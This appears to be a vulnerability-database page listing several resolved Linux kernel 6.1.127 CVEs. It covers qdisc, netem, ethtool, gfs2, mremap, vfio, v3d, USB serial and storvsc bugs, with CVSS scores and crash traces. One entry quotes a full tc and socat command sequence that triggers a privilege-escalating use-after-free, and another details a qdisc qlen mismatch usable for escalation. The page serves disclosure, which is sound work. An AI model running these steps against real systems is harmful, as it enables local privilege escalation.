Linux: >> Linux Kernel >> 6.1.127 Security Vulnerabilities
In the Linux kernel, the following vulnerability has been resolved:
pfifo_tail_enqueue: Drop new packet when sch->limit == 0
Expected behaviour:
In case we reach scheduler's limit, pfifo_tail_enqueue() will drop a
packet in scheduler's queue and decrease scheduler's qlen by one.
Then, pfifo_tail_enqueue() enqueue new packet and increase
scheduler's qlen by one. Finally, pfifo_tail_enqueue() return
`NET_XMIT_CN` status code.
Weird behaviour:
In case we set `sch->limit == 0` and trigger pfifo_tail_enqueue() on a
scheduler that has no packet, the 'drop a packet' step will do nothing.
This means the scheduler's qlen still has value equal 0.
Then, we continue to enqueue new packet and increase scheduler's qlen by
one. In summary, we can leverage pfifo_tail_enqueue() to increase qlen by
one and return `NET_XMIT_CN` status code.
The problem is:
Let's say we have two qdiscs: Qdisc_A and Qdisc_B.
- Qdisc_A's type must have '->graft()' function to create parent/child relationship.
Let's say Qdisc_A's type is `hfsc`. Enqueue packet to this qdisc will trigger `hfsc_enqueue`.
- Qdisc_B's type is pfifo_head_drop. Enqueue packet to this qdisc will trigger `pfifo_tail_enqueue`.
- Qdisc_B is configured to have `sch->limit == 0`.
- Qdisc_A is configured to route the enqueued's packet to Qdisc_B.
Enqueue packet through Qdisc_A will lead to:
- hfsc_enqueue(Qdisc_A) -> pfifo_tail_enqueue(Qdisc_B)
- Qdisc_B->q.qlen += 1
- pfifo_tail_enqueue() return `NET_XMIT_CN`
- hfsc_enqueue() check for `NET_XMIT_SUCCESS` and see `NET_XMIT_CN` => hfsc_enqueue() don't increase qlen of Qdisc_A.
The whole process lead to a situation where Qdisc_A->q.qlen == 0 and Qdisc_B->q.qlen == 1.
Replace 'hfsc' with other type (for example: 'drr') still lead to the same problem.
This violate the design where parent's qlen should equal to the sum of its childrens'qlen.
Bug impact: This issue can be used for user->kernel privilege escalation when it is reachable.
CVSS Score
7.8
EPSS Score
0.0
Published
2025-02-18
In the Linux kernel, the following vulnerability has been resolved:
netem: Update sch->q.qlen before qdisc_tree_reduce_backlog()
qdisc_tree_reduce_backlog() notifies parent qdisc only if child
qdisc becomes empty, therefore we need to reduce the backlog of the
child qdisc before calling it. Otherwise it would miss the opportunity
to call cops->qlen_notify(), in the case of DRR, it resulted in UAF
since DRR uses ->qlen_notify() to maintain its active list.
CVSS Score
7.8
EPSS Score
0.0
Published
2025-02-18
In the Linux kernel, the following vulnerability has been resolved:
net: avoid race between device unregistration and ethnl ops
The following trace can be seen if a device is being unregistered while
its number of channels are being modified.
DEBUG_LOCKS_WARN_ON(lock->magic != lock)
WARNING: CPU: 3 PID: 3754 at kernel/locking/mutex.c:564 __mutex_lock+0xc8a/0x1120
CPU: 3 UID: 0 PID: 3754 Comm: ethtool Not tainted 6.13.0-rc6+ #771
RIP: 0010:__mutex_lock+0xc8a/0x1120
Call Trace:
<TASK>
ethtool_check_max_channel+0x1ea/0x880
ethnl_set_channels+0x3c3/0xb10
ethnl_default_set_doit+0x306/0x650
genl_family_rcv_msg_doit+0x1e3/0x2c0
genl_rcv_msg+0x432/0x6f0
netlink_rcv_skb+0x13d/0x3b0
genl_rcv+0x28/0x40
netlink_unicast+0x42e/0x720
netlink_sendmsg+0x765/0xc20
__sys_sendto+0x3ac/0x420
__x64_sys_sendto+0xe0/0x1c0
do_syscall_64+0x95/0x180
entry_SYSCALL_64_after_hwframe+0x76/0x7e
This is because unregister_netdevice_many_notify might run before the
rtnl lock section of ethnl operations, eg. set_channels in the above
example. In this example the rss lock would be destroyed by the device
unregistration path before being used again, but in general running
ethnl operations while dismantle has started is not a good idea.
Fix this by denying any operation on devices being unregistered. A check
was already there in ethnl_ops_begin, but not wide enough.
Note that the same issue cannot be seen on the ioctl version
(__dev_ethtool) because the device reference is retrieved from within
the rtnl lock section there. Once dismantle started, the net device is
unlisted and no reference will be found.
CVSS Score
4.7
EPSS Score
0.0
Published
2025-02-13
In the Linux kernel, the following vulnerability has been resolved:
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script
Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr
step3. a class for nesting
tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr
step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7.
tc class add dev lo classid 3:1 drr
step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 1000p
qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 1:3 root leaf 4: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent. b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13. send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".
Joint work with Lion Ackermann <nnamrec@gmail.com>
CVSS Score
7.8
EPSS Score
0.0
Published
2025-02-13
In the Linux kernel, the following vulnerability has been resolved:
gfs2: Truncate address space when flipping GFS2_DIF_JDATA flag
Truncate an inode's address space when flipping the GFS2_DIF_JDATA flag:
depending on that flag, the pages in the address space will either use
buffer heads or iomap_folio_state structs, and we cannot mix the two.
CVSS Score
5.5
EPSS Score
0.0
Published
2025-02-12
In the Linux kernel, the following vulnerability has been resolved:
mm: clear uffd-wp PTE/PMD state on mremap()
When mremap()ing a memory region previously registered with userfaultfd as
write-protected but without UFFD_FEATURE_EVENT_REMAP, an inconsistency in
flag clearing leads to a mismatch between the vma flags (which have
uffd-wp cleared) and the pte/pmd flags (which do not have uffd-wp
cleared). This mismatch causes a subsequent mprotect(PROT_WRITE) to
trigger a warning in page_table_check_pte_flags() due to setting the pte
to writable while uffd-wp is still set.
Fix this by always explicitly clearing the uffd-wp pte/pmd flags on any
such mremap() so that the values are consistent with the existing clearing
of VM_UFFD_WP. Be careful to clear the logical flag regardless of its
physical form; a PTE bit, a swap PTE bit, or a PTE marker. Cover PTE,
huge PMD and hugetlb paths.
CVSS Score
5.5
EPSS Score
0.0
Published
2025-02-12
In the Linux kernel, the following vulnerability has been resolved:
vfio/platform: check the bounds of read/write syscalls
count and offset are passed from user space and not checked, only
offset is capped to 40 bits, which can be used to read/write out of
bounds of the device.
CVSS Score
7.8
EPSS Score
0.0
Published
2025-02-10
In the Linux kernel, the following vulnerability has been resolved:
drm/v3d: Assign job pointer to NULL before signaling the fence
In commit e4b5ccd392b9 ("drm/v3d: Ensure job pointer is set to NULL
after job completion"), we introduced a change to assign the job pointer
to NULL after completing a job, indicating job completion.
However, this approach created a race condition between the DRM
scheduler workqueue and the IRQ execution thread. As soon as the fence is
signaled in the IRQ execution thread, a new job starts to be executed.
This results in a race condition where the IRQ execution thread sets the
job pointer to NULL simultaneously as the `run_job()` function assigns
a new job to the pointer.
This race condition can lead to a NULL pointer dereference if the IRQ
execution thread sets the job pointer to NULL after `run_job()` assigns
it to the new job. When the new job completes and the GPU emits an
interrupt, `v3d_irq()` is triggered, potentially causing a crash.
[ 466.310099] Unable to handle kernel NULL pointer dereference at virtual address 00000000000000c0
[ 466.318928] Mem abort info:
[ 466.321723] ESR = 0x0000000096000005
[ 466.325479] EC = 0x25: DABT (current EL), IL = 32 bits
[ 466.330807] SET = 0, FnV = 0
[ 466.333864] EA = 0, S1PTW = 0
[ 466.337010] FSC = 0x05: level 1 translation fault
[ 466.341900] Data abort info:
[ 466.344783] ISV = 0, ISS = 0x00000005, ISS2 = 0x00000000
[ 466.350285] CM = 0, WnR = 0, TnD = 0, TagAccess = 0
[ 466.355350] GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0
[ 466.360677] user pgtable: 4k pages, 39-bit VAs, pgdp=0000000089772000
[ 466.367140] [00000000000000c0] pgd=0000000000000000, p4d=0000000000000000, pud=0000000000000000
[ 466.375875] Internal error: Oops: 0000000096000005 [#1] PREEMPT SMP
[ 466.382163] Modules linked in: rfcomm snd_seq_dummy snd_hrtimer snd_seq snd_seq_device algif_hash algif_skcipher af_alg bnep binfmt_misc vc4 snd_soc_hdmi_codec drm_display_helper cec brcmfmac_wcc spidev rpivid_hevc(C) drm_client_lib brcmfmac hci_uart drm_dma_helper pisp_be btbcm brcmutil snd_soc_core aes_ce_blk v4l2_mem2mem bluetooth aes_ce_cipher snd_compress videobuf2_dma_contig ghash_ce cfg80211 gf128mul snd_pcm_dmaengine videobuf2_memops ecdh_generic sha2_ce ecc videobuf2_v4l2 snd_pcm v3d sha256_arm64 rfkill videodev snd_timer sha1_ce libaes gpu_sched snd videobuf2_common sha1_generic drm_shmem_helper mc rp1_pio drm_kms_helper raspberrypi_hwmon spi_bcm2835 gpio_keys i2c_brcmstb rp1 raspberrypi_gpiomem rp1_mailbox rp1_adc nvmem_rmem uio_pdrv_genirq uio i2c_dev drm ledtrig_pattern drm_panel_orientation_quirks backlight fuse dm_mod ip_tables x_tables ipv6
[ 466.458429] CPU: 0 UID: 1000 PID: 2008 Comm: chromium Tainted: G C 6.13.0-v8+ #18
[ 466.467336] Tainted: [C]=CRAP
[ 466.470306] Hardware name: Raspberry Pi 5 Model B Rev 1.0 (DT)
[ 466.476157] pstate: 404000c9 (nZcv daIF +PAN -UAO -TCO -DIT -SSBS BTYPE=--)
[ 466.483143] pc : v3d_irq+0x118/0x2e0 [v3d]
[ 466.487258] lr : __handle_irq_event_percpu+0x60/0x228
[ 466.492327] sp : ffffffc080003ea0
[ 466.495646] x29: ffffffc080003ea0 x28: ffffff80c0c94200 x27: 0000000000000000
[ 466.502807] x26: ffffffd08dd81d7b x25: ffffff80c0c94200 x24: ffffff8003bdc200
[ 466.509969] x23: 0000000000000001 x22: 00000000000000a7 x21: 0000000000000000
[ 466.517130] x20: ffffff8041bb0000 x19: 0000000000000001 x18: 0000000000000000
[ 466.524291] x17: ffffffafadfb0000 x16: ffffffc080000000 x15: 0000000000000000
[ 466.531452] x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000
[ 466.538613] x11: 0000000000000000 x10: 0000000000000000 x9 : ffffffd08c527eb0
[ 466.545777] x8 : 0000000000000000 x7 : 0000000000000000 x6 : 0000000000000000
[ 466.552941] x5 : ffffffd08c4100d0 x4 : ffffffafadfb0000 x3 : ffffffc080003f70
[ 466.560102] x2 : ffffffc0829e8058 x1 : 0000000000000001 x0 : 0000000000000000
[ 466.567263] Call trace:
[ 466.569711] v3d_irq+0x118/0x2e0 [v3d] (P)
[ 466.
---truncated---
CVSS Score
4.7
EPSS Score
0.0
Published
2025-02-10
In the Linux kernel, the following vulnerability has been resolved:
USB: serial: quatech2: fix null-ptr-deref in qt2_process_read_urb()
This patch addresses a null-ptr-deref in qt2_process_read_urb() due to
an incorrect bounds check in the following:
if (newport > serial->num_ports) {
dev_err(&port->dev,
"%s - port change to invalid port: %i\n",
__func__, newport);
break;
}
The condition doesn't account for the valid range of the serial->port
buffer, which is from 0 to serial->num_ports - 1. When newport is equal
to serial->num_ports, the assignment of "port" in the
following code is out-of-bounds and NULL:
serial_priv->current_port = newport;
port = serial->port[serial_priv->current_port];
The fix checks if newport is greater than or equal to serial->num_ports
indicating it is out-of-bounds.
CVSS Score
5.5
EPSS Score
0.0
Published
2025-02-10
In the Linux kernel, the following vulnerability has been resolved:
scsi: storvsc: Ratelimit warning logs to prevent VM denial of service
If there's a persistent error in the hypervisor, the SCSI warning for
failed I/O can flood the kernel log and max out CPU utilization,
preventing troubleshooting from the VM side. Ratelimit the warning so
it doesn't DoS the VM.
CVSS Score
5.5
EPSS Score
0.0
Published
2025-02-10